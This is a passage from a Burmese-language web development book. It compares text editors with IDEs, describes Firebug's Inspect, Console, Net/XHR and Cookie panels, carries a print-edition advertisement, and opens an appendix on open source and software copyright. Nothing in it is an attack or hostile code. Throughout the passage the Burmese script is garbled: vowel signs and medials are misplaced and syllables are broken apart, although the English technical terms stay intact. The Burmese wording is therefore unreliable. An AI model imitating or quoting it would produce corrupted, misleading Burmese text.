တို့ကြိတာ့  လိုငစ်ငဝ်ယ်ယူ  အသံုးပပုရေနိုငပ်ါတယ်။  VS.PHP  လို  Extension  သံုးပပီးိတာ့  Microsoft  Visual
Studio နဲ့လညး် PHP Development ပပုလပုန်ိုငပ်ါတယ်။

16.9 - Text Editor vs. IDE
Text Editor ိတရွေဲ့ထးူပခားချက်ြကြ မညသ်ည့် Language အတက်ွြမဆုိ အသံုးပပုနိုင်ိ အာင် ရေညရ်ေယ်ွဖေနတ်းီထားအကြ
ပပးီ၊  IDE  ိတကွြိတာ့  သက်ြဆုိငရ်ောနညး်ပညာအတက်ွြ  ရေညရ်ေယ်ွတည်ိ ဆာက်ြထားအကြပခင်းပဖေစ်ပါတယ်။  Text
Editor  များကြ  Code  Editing  ကုိြသာ  ိဆာငရ်ေက်ွြိပးလို့  Web  Browser,  Database  Manager,  FTP
Software, Terminal နဲ့ အပခားဆက်ြစပ်  Software များကုိြ တွဲဖေက်ြအသံုးပပုဖေိုလ့ိုနိုငပ်ါတယ်။  IDE များကြိတာ့
Development မာှ လိုအပတ်ဲ့ လုပ်ိ ဆာငခ်ျက်ြအားလုံး ကုိြ IDE ကြိန ိဆာငရ်ေက်ွြိပးနိုငဖ်ေို့ ကကိြုးစားထားတက်ြအကြ
ပါတယ်။

Web Development မာှပါဝငတ်ဲ့ ဆက်ြစပန်ညး်ပညာိတကွြ များလပှါတယ်။ PHP Project ဆုိိပမယ့် PHP တစ်
မျို း  တညး် ိရေးရေတာမျို းမဟတုပ်ါဘးူ။  HTML/CSS  လညး်ိရေးရေပါတယ်။  JavaScript/jQuery  လညး် ိရေးရေပါ
တယ်။ ပပးီ ိတာ့ Ajax App ိတမွာှဆုိရေင် Server-side ထက်ြ Client-side Development ကုိြ ပိုပပးီ Focus လုပ်
ရေပါ တယ်။ ဒါိအကြာင့်  IDE  ိတကွြ ဘယ်ိလာက်ြပဲ အားလုံးကုိြိဆာငရ်ေက်ွြိပးဖေို့  ကကိြုးစားထားိပမယ့် လံုိလာက်ြ
ိလမ့ရေှိပါဘးူ။  အချနိတ်န်ိ တာ့  IDE  ကုိြ  Code  Edit  လပုဖ်ေို့အတက်ွြိလာက်ြပအဲသံုးပပုပပးီ  ကြျနလ်ပုင်နး်များကုိြ
သီးပခားိဆာငရ်ေက်ွြရေတက်ြ ပါတယ်။   IDE  ိတဟွာ  လပု်ိ ဆာငခ်ျက်ြများစွာ  ပါဝငတ်ဲ့အတက်ွြ ိနးှိလရ့ေှိပါတယ်။
တစ်ခဖုေငွ့်လိုက်ြရေင်  ကွြနပ်ျူတာမာှ  တစ်ပခား  Software  ိတ ွအပပို ငသံု်းဖေိုခ့က်ြသွားတက်ြပါတယ်။ ဒါိအကြာင့်  Code
Edit  သက်ြသက်ြအတက်ွြဆုိရေင်ိ တာ့  ိနးှိကွြးတဲ့  IDE  ိတ ွ သံုးိနဖေို့မလိုပါဘးူ။   Text  Editor  ိတကွြ  Code
Editing ကုိြ IDE ိတထွက်ြပိုပပီး ပမနပ်မန ်ဆနဆ်နန်ဲ ့ပိုိ ကြာငး်ိအာငလ်ပု်ိ ပးနိုငအ်ကြပါတယ်။

ဒါိအကြာင့်၊  ဆံုးပဖေတရ်ေမာှကြ၊  ရေှိိ နတဲ့  IDE  ိတကွြ  တည်ိ ဆာက်ြမယ့်  Project  ရေဲ့  Development  လိုအပခ်ျက်ြ
အားလုံးကုိြ  ပဖေည့်ဆညး်နိုငသ်လားဆုိတဲ့အချက်ြနဲ့ပဲ  တိုငး်တာရေမာှပါ။  ပဖေည့်ဆညး်နိုငတ်ယ၊်  လုိံ လာက်ြတယ်ဆုိရေင်
IDE များအသုံးပပု အလပုလ်ပုပ်ခငး်အားပဖေင့် အလပုပ်ိုတငွ်ိ စနိုငပ်ါတယ်။ မလုိံ လာက်ြလို့ IDE ကုိြ Code Edit လုပ်
ယံုသာ သာိလာက်ြ သံုးရေမယ်ဆုိရေင်ိ တာ ့Text Editor များနဲ့ကြ ပိုပပးီအလပုတ်ငွ်ိ စမာှပဖေစ်ပါတယ်။

16.10 - Browser DevTools - Firebug
ိရေှ့ပိုငး်မာှ Browser ိတကွြ ိရေးသားထားတဲ့ Web Document ထဲမာှ အမာှးပါရေငလ်ညး် အဆင်ိ ပပိအာင် ိဖောပ်ပ
ိပး ိလ့ရေှိတယ်လို့  ိပပာခဲ့ပါတယ်။ ကြျွန်ိ တာတ်ိုိ့ ရေးထားတဲ့  JavaScript  ိတထွမဲာှ  Error  ိတပွါသွားရေငလ်ညး်
Browser ိတကွြ Error ိတွိ ပးမိနပ ဲတတိတ်တိ်ိ လးပဲ Document ကုိြ ဆက်ြလက်ြိဖောပ်ပိနသွားမာှပဖေစ်ပါတယ်။
ဒီိ တာ့  ကြျွန်ိ တာတ်ို့အတက်ွြ ပပဿနာပဖေစ်လာပါတယ်။  ကုိြယ်ိရေးထားတဲ့  JavaScript  Code  အလပုမ်လပု်ိ နရေင်
ဘယ်နားမာှး ိနလလဲယ်ွလယ်ွနဲ့မသိရေိတာပ့ါဘးူ။ ဒီိ နရောမာှ အသံုးဝငလ်ာတာကြ Browser DevTools ိတပွဖေစ်ပါ
တယ်။ ကြိန့ိ ခတ် Browser အားလုံးမာှ DevTools ကုိြယ်စီ ပါဝငလ်ာအကြပါတယ်။ အ့ဲဒလီို Browser DevTools
ိတ ွမပါဝငခ်ငက်ြတညး် ကြရေှိိ နတဲ့  Tool  တစ်ခလုညး် ရေှိပါတယ်။  Firebug  လိုိ့ ခါ်ပါတယ်။ သူကြ  Browser  နဲ့
အတပူါဝငတ်ဲ့ Tool မဟတုပ်ါဘးူ။ Firefox Browser မာှ Addon အိနနဲ့ ထည့်သွငး်အသံုးပပုရေပါတယ်။
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Firebug  ကုိြ  getfirebug.com မာှ ရေယူနိုငပ်ါတယ်။  Mozilla Firefox  နဲ့  Download  လပုမ်ယ်ဆုိရေင်  Browser
Addon အပဖေစ် တစ်ခါတညး် Install လပု်ိ ပးသွားမာှပါ။ Firefox Menu ထဲကြ Web Developer  Get More→

Tools  ကြိန တစ်ဆင့်လညး် ရေယူနိုငပ်ါတယ်။  Firebug  နဲ့အတူ အပခားအသံုးဝငတ်ဲ့  Addon  များကုိြ  Get More
Tools မာှ စုစညး် ထားိပးပါတယ်။

ပုံ (၁၆-ဈေ) Firebug - Inspect

Firebug Install လုပပ်ပးီရေင် ပုံ (၁၆-ဈေ) နပံါတ် (၁) မာှပပထားတဲ့အတိုငး် Bug ပုိံ လး Toolbar ထဲမာှ ပါဝငလ်ာမာှ
ပဖေစ်ပါတယ်။ နှိပလ်ိုက်ြရေင်  Browser ိအာက်ြိပခနားမာှ Firebug Window ိပါ်လာမာှပါ။ Window ရေဲ့အိပါ်နား
ကြ နပံါတ ်(၂) နဲ့ ပပထားတဲ့မျှား ိလးကုိြတစ်ချက်ြနှိပပ်ပီး Document ထဲကြ ကုိြယ်ိလလ့ာလိုတဲ့ Element ကုိြ ိနာက်ြ
တစ် ချက်ြနှိပလ်ိုက်ြရေင် အ့ဲဒီ Element အတက်ွြိရေးထားတဲ့ HTML Structure နဲ့ CSS Style ိတကုိွြိဖောပ်ပလာမာှပဲ
ပဖေစ်ပါ တယ်။ ပုံ (၁၆-ဈေ) ရေဲ့  HTML ဘက်ြမာှ <h1> Element ကုိြ Highlight ပဖေစ်ိနပပးီ ညာဘက်ြကြ CSS မာှ အ့ဲဒီ
h1  အတက်ွြ ိရေးသားထားတဲ့  CSS Style  များကုိြိဖောပ်ပိနမာှပဖေစ်ပါတယ်။  CSS File  အမညန်ဲ့  ိရေးသားထားတဲ့
Line  နပံါတ်  ကြအစ ပါဝင်ိ နမာှပဖေစ်ပါတယ်။  စမး်သပပ်ပင်ဆငမ်ှုများကုိြ  ိနရောမာှတငပ်ပုလပုန်ိုငပ်ါတယ်။  ပပငဆ်င်
လိုက်ြတဲ့အတိုငး် Document မာှ ချက်ြပခင်းသက်ြိရောက်ြသွားမာှပါ။ ဒါိပမယ့် Document ကုိြ Reload လပုလ်ိုက်ြရေင်
ိတာ ့ပပငဆ်ငထ်ားတဲ့ ပပငဆ်ငခ်ျက်ြများ ိပျာက်ြကွြယ်သွားမာှပဖေစ်ပါတယ်။

မတ်ှချကြ ်။ ။ Firebug Install လုပထ်ားပပးီရေင ်Document ိပါ်ကြ ိလ့လာလုိတ့ဲ Element ကြို Right-Click နှိပပ်ပးီ Inspect 
with Firebug ိရေးွိပးပခငး်အားပဖေင့်လညး် စတငအ်သုံးပပုနိုငပ်ါတယ။်

http://getfirebug.com/
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ပုံမနှအ်ားပဖေင့် ိရေးသားလိုတဲ့ HTML/CSS များကုိြ Firebug နဲ့အရေင် စမး်သပ်ိ ရေးသားနိုငပ်ါတယ်။ စိတတ်ိုငး်ကြျတဲ့
အိန အထားကုိြရေပပဆုိီိတာမ့ှ စမး်သပ်ိ ရေးသားထားချက်ြများကုိြ ကူြးယူပပးီ  Code File  ထမဲာှ ထည့်သွငး်ိပးလိုက်ြ
နိုငပ်ါတယ။် ဒနီညး်နဲ ့Style ရေလဒမ်ျားကုိြ တုိက်ြရိုက်ြ Live ိလ့လာရေငး် ိရေးသားသွားနိုင်ိ စမာှ ပဖေစ်ပါတယ်။

နပံါတ်  (၃)  ိနရောမာှ  ိဖောပ်ပထားတဲ့  Panel  များကုိြ  ဆက်ြလက်ြိလလ့ာအကြည့်ပါတယ်။  ိရေှ့ ဆံုး  Panel  ပဖေစ်တဲ့
Console ကြလညး် အိတာအ်သံုးဝငပ်ါတယ်။

ပုံ (၁၆-ည) Firebug - Console

ပုံ  (၁၆-ည) ရေဲ့  နပံါတ်  (၁)  ကုိြိလလ့ာအကြည့်ရေင်  JavaScript  Error  တစ်ခကုိုြိတွ့ရေမာှပဖေစ်ပါတယ်။  ဟိုးအိပါ်
Toolbar  ထဲကြ  Bug  Icon  ိလးမာှလဲ  Error  အိရေအတက်ွြကုိြိဖောပ်ပိနပါတယ်။  Error  ကြ  "Reference
Error: $ is not defined" လ့ုိဆုိပါတယ်။  $ Sign  ကုိြ သတမ်တှထ်ားပခငး်မရေှိပဲ အသံုးချဖေို့ကကိြုးစားိန
ိအကြာငး် ိဖောပ်ပတဲ့ Error ပါ။ jQuery မရေှိပဲ jQuery Object ကုိြ သံုးထားမလိိုပ့ါ။ ဒနီညး်နဲ့ JavaScript Error များ
ရေှိရေငသိ်ရေှိနိုငပ်ပီး လိုသလိုပပင်ဆငမ်ှု ိတ ွပပုလပုသွ်ားနိုငမ်ာှပဖေစ်ပါတယ်။

နပံါတ် (၂) ိနရောမာှရေှိိ နတဲ့ Button ိလးကုိြ နှိပပ်ပးီ Code Entry Box ရေဲ့  ပုံစံကုိြ ိပပာငး်နိုငပ်ါတယ်။ Code Entry
Box ပဖေစ်တဲ့ နပံါတ်  (၃)  ိနရောမာှ  JavaScript  တစ်ချို ့ ိရေးသားထားတာကုိြ ိတွ့ရေမာှပါ။  ID Selector  ကုိြသံုးပပးီ
title Element ရေဲ့  Content ကုိြ "Online Book Store" လိုိ့ ပပာငး်ခိုငး်ထားပခငး်ပဖေစ်ပါတယ်။  နပံါတ် (၄) မာှပပ
ထားတဲ့ Run ကုိြ နှိပလ်ိုက်ြရေင ်ိရေးထားတဲ့ JavaScript Code ကြ ချက်ြပခငး်အလပုလ်ပုသွ်ားမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့
JavaScript Code များကုိြလညး် Live စမး်သပန်ိုငမ်ာှပဖေစ်ပါတယ်။
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အပခား  Panel  ိတပွဖေစ်အကြတဲ့  CSS, Script  နဲ့  DOM Panel  တို့မာှ  လက်ြရေှိ  Document  မာှချတိဆ်က်ြပါဝငတ်ဲ့
CSS များ၊  JavaScript  များနဲ့  DOM Structure Information များကုိြိဖောပ်ပထားပါတယ်။ Script Panel  ထဲမာှ
ိတာ့  JavaScript Code  များကုိြ  Break Point  များသတမ်တှပ်ပးီ  Trace  လပုန်ိုငတ်ဲ့  Debug  လုပ်ိ ဆာငခ်ျက်ြကုိြ
လညး် ိဆာငရ်ေက်ွြနိုငပ်ါတယ်။

ပုံ (၁၆-ဋ) Firebug - Net

Net  Panel  မာှိတာ့  Request/Respond  များရေဲ့အိပခအိန၊  လက်ြခရံေရေှိတဲ့  Status  Code  ၊  Request  တစ်ခု
ပပးီိပမာက်ြ ဖေို့အတက်ွြ စုစုိပါငး်အကြာချနိ ်စတဲ့အချက်ြအလက်ြများကုိြ စုစညး်ိဖောပ်ပထားမာှပဖေစ်ပါတယ်။

XHR Request  များကုိြ   JavaScript  နဲ့ပပုလပုတ်ဲ့အခါ  Request  များဟာ ိနာက်ြကွြယ်မာှပပုလပုသွ်ာပခငး်ပဖေစ်လို့
အိပခ အိနကုိြ ပမငသ်ာဖေို့ခက်ြတက်ြပါတယ်။ Firebug Net Panel ထကဲြ နပံါတ်  (၂) မာှိဖောပ်ပထားတဲ့ XHR Tab
မာှ XHR Request/Respond များကုိြ အချနိန်ဲ့တစ်ိပပးညီိ ဖောပ်ပိပးိနမာှပဖေစ်လို့ အိပခအိနကုိြိလလ့ာဖေို့ အိတာ်
အသံုးဝငပ်ါ တယ်။  XHR Tab  ထမဲာှိဖောပ်ပိနတဲ့  Request URL  များကုိြနှိပ်အကြည့်ပပးီ ိပးပိုလ့ိုက်ြတဲ့  Request
အိပခအိနနဲ ့ပပနလ်ညရ်ေရေှိတဲ့  Respond Data များကုိြ ိလ့လာနိုငမ်ာှပဖေစ်ပါတယ်။

Ajax ိလလ့ာစဉက်ြ နမနူာတည်ိ ဆာက်ြခဲ့တဲ့  Todo App အတက်ွြ XHR Request  အိပခအိနကုိြ ပုံ  (၁၆-ဋ) မာှ
ိဖောပ်ပထားပါတယ်။  Respond Data  ကုိြ  Firebug XHR  မာှိလလ့ာအကြည့်တဲ့အခါ  JSON Array  တစ်ခအုပဖေစ်
လက်ြခံ ရေရေှိိ နတာကုိြ ိတွ့ရေပါတယ်။ XHR Request/Respond များ ိအာငပ်မငပ်ခင်း၊ မိအာငပ်မငပ်ခငး်အိပခအိန
များကုိြ ဒနီညး်နဲ့သိရေှိရေနိငုပ်ါတယ်။
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ပုံ (၁၆-ဌ) Firebug - Cookie

ိနာက်ြဆံုး  Panel  ကြိတာ့  Cookie  များစီမနံိုငဖ်ေို့ပဖေစ်ပါတယ်။  Cookie Panel  ကုိြနှိပအ်ကြည့်လိုက်ြရေင် လက်ြရေှိ  App
အတက်ွြ အသံုးပပုထားတဲ့ Cookie စာရေငး်ကိြုိ တွ့ ပမငရ်ေမာှပါ။  Cookie တနဖ်ေိုးပပငဆ်ငလ်ိုရေင ်ပပငလ်ိုတဲ့  Cookie ကုိြ
Right-Click နှိပပ်ပးီ ပပငဆ်ငန်ိုငပ်ါတယ်။ Cookie အသစ်ထည့်သွင်းလိုရေင်ိ တာ ့နပံါတ် (၁) မာှပပထားတဲ့ Cookies
Menu ထကဲြ Create Cookie ကုိြ ိရေးွပပးီ ထည့်သွငး်နိုငမ်ာှပပဲဖေစ်ပါတယ်။

အခုိ နာက်ြပိုငး်မာှိတာ့  Firefox  မာှပါဝငလ်ာတဲ့  Build-in DevTools  ကြ  Firebug  ထက်ြအလပုလ်ပုပ်ိုပိုပမနပ်ပးီ
Firebug  မာှရေရေှိတဲ့ လပု်ိ ဆာငခ်ျက်ြအားလုံးကိြု  Build-in DevTools  မာှလညး် ရေနိုငလ်ာတဲ့အတက်ွြ Firebug  ကုိြ
သီးပခား Plugin အိနနဲ့ထည့်သွင်းိနဖေို့မလိုိ တာပ့ ဲBuild-in DevTools ကြိန အသံုးပပုနိုငလ်ာပပပီဖေစ်ပါတယ်။

Conclusion
Developer တစ်ိယာက်ြဟာ အချနိ်ိ တာ်ိ တာမ်ျားများမာှ Code Editor နဲ့ Browser တို့ကုိြ အပမထိဲိတွ့  အသံုးပပု
ိနရေ မာှပဖေစ်ပါတယ်။ ဒီ Software ိတကုိွြ ကုိြယ်အတက်ွြ Productive အပဖေစ်ဆံုး အိနအထားတစ်ရေပပ်ဖေစ်ိနိအာင်
လိုအပတ်ဲ့ Setting များ ချနိည်ှိပခငး်၊ Extension များ ပဖေည့်စွက်ြထားပခငး်အားပဖေင့် Setup လုပထ်ားသင့်ပါတယ်။ ဒါ
မသှာ ိနစ့ဉ ်Code ိရေးသားရေပခငး်ဟာ သက်ြိတာင့်သက်ြသာရေှိပပးီ ိပျာစ်ရောလညး်ိကြာငး်မာှပပဲဖေစ်ပါတယ်။



          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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ိနာက်ြဆက်ြတွဲ (ကြ)
Open Source အိအကြာင်း သိိကြာင်းစရော

ကြျွန်ိ တာတ်ို့ ဒစီာအုပမ်ာှထည့်သွငး်ိလလ့ာခဲ့တဲ့ နညး်ပညာိတထွကဲြ အများစုဟာ  Open Source  နညး်ပညာများ
ပဖေစ်ပါတယ်။ jQuery, PHP, MySQL, Apache, WordPress နဲ့ မတိဆ်က်ြိဖောပ်ပခဲ့တဲ့  JavaScript Framework
များ၊  MVC Framework  များဟာ  Open Source  နညး်ပညာများချညး်ပါပ။ဲ  ဒလီိုအပမထိဲိတွ့အသံုးပပုိနရေမယ့်
Open Source နညး်ပညာများ ရေဲ့  သိဘာသဘာဝကုိြ ကြျွန်ိ တာတ်ို့ Developer များအိနနဲ့ သိရေှိထားသင့်ပါတယ်။
ဒါိအကြာင့် Web Development နဲ့ တုိက်ြရိုက်ြမသက်ြဆိငု်ိ ပမယ့် ထည့်သွငး်ိဖောပ်ပိပးလိုက်ြပါတယ်။ 

အများစုကြ Open Source Software လိုိ့ ပပာလိုက်ြရေင် အခမဲရ့ေယူအသံုးပပုနိုငယံု်မကြ Source Code ကုိြပါဖေငွ့်ိ ပး
ထားတဲ့ Software များလို့ပမငအ်ကြပါတယ်။ မာှးိတာမ့မာှးပါဘးူ။ ဒါိပမယ့် မပပည့်စံုိသးပါဘးူ။  ပိုပပးီပပည့်စံုဖေို့ဆုိရေင်
ိနာက်ြိအကြာငး် နညး်နညး် ပပနအ်ကြည့်ဖေိုလ့ိုပါလမိ့်မယ်။ 

Software and Copyright 
ကွြနပ်ျူတာနညး်ပညာိခတဦ်းပိုငး်ပဖေစ်တဲ့  ၁၉၅၀ ကြိန ၁၉၇၅ အထကိြာလိတကွြ  Software  ဟာ သီးပခားနညး်
ပညာ တစ်ခမုဟတုသ်လို ပိုက်ြဆံိပးပပးီဝယ်သံုးရေတဲ့အရောတစ်ခလုညး်မဟတုပ်ါဘးူ။ ကွြနပ်ျူတာထတုလ်ပုသူ်များကြ
ကွြနပ်ျူတာနဲ့  တစ်တွဲတညး်  ထည့်သွင်းိရောငး်ချတဲ့  အရောတစ်ခသုာပဖေစ်ပါတယ်။  ကုြနပ်စ္စညး်တစ်ခက့ဲုြသုိ့
အကြျို းအပမတအ်လို့ငာှ ထတုလ်ပု် ိရောငး်ချတဲ့ Software ိဈေးကွြက်ြဆုိတာလညး် မရေှိိ သးပါဘးူ။ ကွြနပ်ျူတာဆုိတာ
လညး် ကြိန့ိ ခတလ်ို အများသံုးမဟတု် ိသးပါဘးူ။ ပညာရေငှမ်ျားနဲ့ စီးပာွးလပုင်နး်အနညး်စုကြသာ အသံုးပပုနိုငအ်ကြ
တာပါ။ 

၁၉၇၀ ိကြျာက်ြာလများ ိရောက်ြတဲ့အခါမာှိတာ့ ကွြနပ်ျူတာကုိြ  Software  နဲ့  Hardware  ဆုိပပီး စတငခ်ွဲပခားလာခဲ့
အကြ ပါတယ်။  ဒလီိုခွဲပခားလာတဲ့အတက်ွြ  ကွြနပ်ျူတာနဲ့  အတွဲလိုက်ြ  ထတုလ်ပုပ်ခငး်  မဟတုပ်ဲ  သီးပခားထည့်သွငး်ပပးီ
အသံုးပပုနိုငတ်ဲ့  Software  များ  ထုတလ်ပု်ိ ရောငး်ချသူိတစွတင်ိ ပါ်ိပါက်ြလာပါတယ်။  အ့ဲဒီ  Third-Party
Software  ိတကွြ ကွြနပ်ျူတာနဲ့အတူ တစ်ပါတညး်ထည့်သွငး်ိပးလာတဲ့  Bundle Software  ိတကုိွြ စွမး်ိဆာင်
ရေညပ်ိုငး်မာှ  စိန်ိ ခါ်လာနိုငခ်ဲ့  ပါတယ်။  ဒါနဲ့ပဲ  Software  ထတုလ်ပု်  ိရောငး်ချပခင်းဟာ စိတဝ်ငစ်ားစရော  စီပာွးိရေး
ိဈေးကွြက်ြတစ်ခု  တစ်ပဖေညး်ပဖေညး်ပဖေစ်လာခဲ့  ပါတယ်။  ဒလီို  စီးပာွးိရေးိဈေးကွြက်ြပဖေစ်လာတဲ့အတက်ွြ   Software
ထတုလ်ပုသူ်ိတကွြ သူတို့ရေဲ့   Software ိတကုိွြ အပခားသူများ ိလလ့ာအတခုိုးပခငး်၊ ကူြးယူအပမတထ်တုပ်ခငး်မှ ကြာ
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ကွြယ်ဖေို့အတက်ွြ အကြာအကွြယ်ိပးနိုငတ်ဲ့ နညး်ပညာိတ ွတထီငွဖ်ေနတ်းီလာခဲ့အကြပါတယ်။ 

မပူိုငခ်ငွ့်ဥပိဒိတထွမဲာှလညး် ကွြနပ်ျူတာ Software နဲ့သက်ြဆိငုတ်ဲ့ ပပဌာနး်ချက်ြိတကုိွြ ၁၉၈၀ ဝနး်ကြျငမ်ာှ တုိးချဲ့
ထည့် သွငး်လာခဲ့အကြပါတယ။်  အ့ဲဒီအချနိက်ြစပပးီ ကွြနပ်ျူတာ Software ဆုိတာ၊ နညး်ပညာနဲ့ိ ရော၊  မပူိုငခ်ငွ့်ဥပိဒ
ိတရွေဲ့အကြာ  အကွြယ်နဲ့ပါ  ကူြးယူပခငး်၊  ပဖေန့်ိ ဝပခငး်  ပပငဆ်ငပ်ခငး်ိတကုိွြ   ကြန့်သတထ်ားတဲ့  အရောများပဖေစ်လာခဲ့ပါ
တယ်။ 

တစ်ဦးတစ်ိယာက်ြကြ Software တစ်ခကုိုြဖေနတ်းီတဲ့အခါ အချနိ်ိ တ၊ွ ိငွိ တစုိွက်ြထတုခ်ဲ့ရေမာှပဖေစ်ပါတယ်။ ဒလီိုရေငး်
နှီး  တထီငွထ်ားရေတဲ့တထီငွမ်ှုကုိြ  အပခားသူများကြ  တရေားမဝငကူ်ြးယူသာွးပခငး်မပပုနိုင်ိ အာင်  မပူိုငခ်ငွ့်ဥပိဒများရေဲ့
အကြာအကွြယ် ကုိြယူရေမာှပဲ  ပဖေစ်ပါတယ်။  Software  တစ်ခကုိုြ  Copy  ကူြးရေတာကြသိပလ်ယ်ွိတာ့  ကူြးလို့မရေနိုငတ်ဲ့
နညး်ပညာအစီအမံိ တ ွလည်း ထည့်သွငး်ရေမာှပါပ။ဲ အိပခခအံားပဖေင့် ဒါ သဘာဝကြျပါတယ်။ 

အမနှတ်စ်ကြယ် ဒီိ နရောမာှ ိပပာစရောရေှိလာတာကြ Copyright Law လိုိ့ ခါ်တဲ့ မပူိုငခ်ငွ့်ဥပိဒပဖေစ်ပါတယ်။ မပူိုငခ်ငွ့်
ဥပိဒ ရေဲ့  ရေညရ်ေယ်ွချက်ြကြ တထီငွဖ်ေနတ်းီမှုများကုိြ အကြာအကွြယ်ိ ပးပခငး်အားပဖေင့် တထီငွဖ်ေနတ်းီမှုပပုလပုသူ်များကြ
များများ တထီငွခ်ျငလ်ာ ိအာငအ်ားိပးဖေို့ပဖေစ်ပါတယ်။ မပူိုငခ်ငွ့်ဥပိဒများကြ မလူဖေနတ်းီသူကုိြ ဖေနတ်းီမှုနဲပ့တသ်က်ြ
တဲ့  အခငွ့်အိရေး  အပပည့်အဝိပးထားပပးီ၊  မပူိုငခ်ငွ့်ပိုငရ်ေငှရ်ေဲ့ခငွ့်ပပုချက်ြမရေပအဲပခားသူများကြအသံုးပပုပခငး်၊  ထပဆ်င့်
ပဖေန့်ိ ဝပခငး်တိုကုိ့ြ  တားပမစ်  ိပးပါတယ်။  ဒီိ တာ့  အသံုးပပုလိုသူကြ  အိပခခံအားပဖေင့်  မပူိုငခ်ငွ့်ပိုငရ်ေငှရ်ေဲ့ခငွ့်ပပုချက်ြ
(လိုငစ်င်) နဲ့ ငာှးသံုးရေပါတယ်။   Software မာှိတာ့ End-User License Agreement (EULA) လိုိ့ ခါ်ပါတယ်။
အဓပိ္ပါယ်ကြ  Software  တစ်ခကုိုြ  အသံုးပပုဖေို့  ဝယ်လိုက်ြတယ်ဆုိတာဟာ  အသံုးပပုခငွ့်ကုိြဝယ်တာပဖေစ်ပါတယ။်
Software  ကုိြ  ဝယ်တာမဟတုပ်ါဘးူ။  ဒါကုိြထည့်  ိပပာရေတာကြ  ကြျွန်ိ တာတ်ို့ဆီမာှ  Software  ဝယ်သံုးတဲ့
အိလအ့ထသိပမ်ရေှိိ တာ၊့  Software  တစ်ခခုဝုယ်လိုက်ြတယ်ဆုိရေင်  ဝယ်လိုက်ြတဲ့  Copy  ကုိြ ကုိြယ်ပိုငသွ်ားတယ်လို့
အမတှမ်ာှးတက်ြအကြတာကုိြ မအကြာမအကြာိတွ့ရေလို့ပဖေစ်ပါတယ်။  Software  နဲ့  မပူိုငခ်ငွ့်ကုိြ  မလူဖေနတ်းီသူကြသာပိုငပ်ပးီ
ဝယ်ယူသူကြ အသံုးပပုခငွ့်ကုိြသာ (EULA ကြ ခငွ့်ပပုထားတဲိ့ ဘာငအ်တငွး်ကြ) ရေရေှိတာပဖေစ်ပါတယ်။

မပူိုငခ်ငွ့်ဥပိဒများရေဲ့ရေညရ်ေယ်ွချက်ြကြ ဖေနတ်းီမှု တကုိွြအားိပးဖေိုလ့ို့  ဆုိခဲ့ပါတယ်။ ပနး်ချ၊ီ  ကြဗျာ၊  ဝတ္ထ ု၊  ဇာတည်ွှနး်
သီချငး်၊  ဓါတပ်ုံ  စတဲ့  အနပုညာဖေနတ်းီမှုများကုိြလညး် ဒဦပိဒကြ ဟိုးိရေးှိရေးှကြိန အခခုျနိထ်ိ  အကြာအကွြယ်ိ ပး
လာခဲ့ တာပါ။ ဒီိ နရောမာှ တစ်ခသုတပိပုသင့်တာရေှိပါတယ်။ မပူိုငခ်ငွ့်ဥပိဒများကြ သူများရုိက်ြထားတဲ့ ဓါတပ်ုံကုိြ  "ဒါ
ငါ့ဓါတပ်ုံ"  လို့  အိချာငယူ်ပခငး်ကြိန ကြာကွြယ်ိပးတာပါ။  အ့ဲဒီ  ဓါတပ်ုံကုိြအကြည့်ပပးီ  "ရုိကြခ်ျက်ြိလးိကြာငး်  လိုက်ြ
တာ" ဆုိပပးီ အကြည့်ရှု ိလ့လာပခငး်ကုိြ မတားပမစ်ပါဘူး။ တစ်ိယာက်ြကြ အနပုညာိပမာက်ြအရောတစ်ခကုိုြ ဖေနတ်းီမယ်။
အပခားသူများကြ ိလလ့ာ မယ်၊ အကြည့်ရှုမယ်၊ မတှသ်ားသင်ယူမယ်၊ ပပးီိတာ့ ပိုိ ကြာငး်တဲ့အရောများကုိြ ဒလီိုိ လလ့ာ
မတှသ်ားထားချက်ြများကြ ရေရေှိလာ တဲ့ အသိပညာများနဲ့ိ ပါင်းစပပ်ပးီ တီထငွဖ်ေနတ်းီနိုငအ်ကြမာှ ပဖေစ်ပါတယ်။ ဒနီညး်နဲ့
မလူဖေနတ်းီသူကြလညး်  လပွလ်ပွလ်ပလ်ပ်  ဖေနတ်းီနိုငသ်လို  အပခားသူများကြလညး်  ဒဖီေနတ်းီမှုကုိြ  ိလ့လာပပးီ  ပို
ိကြာငး်တဲ့တစ်ခ ု(သုိမ့ဟတု်) ရှု ဒါင့်မတတူဲ့တစ်ခကုိုြ ကုိြးကြားဖေနတ်းီနိုင်ိ စမာှပဖေစ်ပါတယ်။ 

ကွြနပ်ျူတာ  Software  ကုိြ  မပူိုငခ်ငွ့်ဥပိဒများနဲ့  ကြာကွြယ်ဖေိုက့ကိြုးစားတဲ့အခါမာှိတာ့  ဒသီိဘာတရေားကြ ပပဿနာ
ပဖေစ်လာ ပါတယ်။ မပူိုငခ်ငွ့်ဥပိဒများကြိတာ့ သူရေဲ့သတမ်တှခ်ျက်ြအတိုငး် မလူဖေနတ်းီသူကုိြ မပူိုငခ်ငွ့်ိ ပးိနဆဲပဖေစ်ပါ
တယ်။  ဒါိပ မယ့်  Software  ဆုိတာ  Binary  ပဖေစ်ပပးီ  ထတုလ်ပုသူ်များကြလညး်  နညး်ပညာနဲ့ကြာကွြယ်ထားတဲ့
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အတက်ွြ၊ အပခားသူများကြ ဒီ  Software  ဘယ်လို တည်ိ ဆာက်ြထားသလဆိဲတုာကုိြ အိပခခအံားပဖေင့် ိလ့လာလို့မရေ
ပါဘးူ။ အသံုးပပုတဲ့အခါ ိတပွမငရ်ေ မာှပဖေစ်တဲ့ User Interface ိလာက်ြကုိြသာိလလ့ာနိုငမ်ာှပါ။ တစ်ကြယ့်လက်ြိတွ့
တည်ိ ဆာက်ြထားမှုကုိြိတာ့  ိလလ့ာလို့  ရေမာှမဟတုပ်ါဘးူ။  ပပးီိတာ့   EULA  နဲ့  Software  ကုိြ  Reverse
Engineer  မလပုဖ်ေို၊့  တည်ိ ဆာက်ြထားပုံမိလလ့ာဖေို့  ထပဆ်င့်ကြာကွြယ်အကြပါိသးတယ်။   Software  ဆုိတာကြ
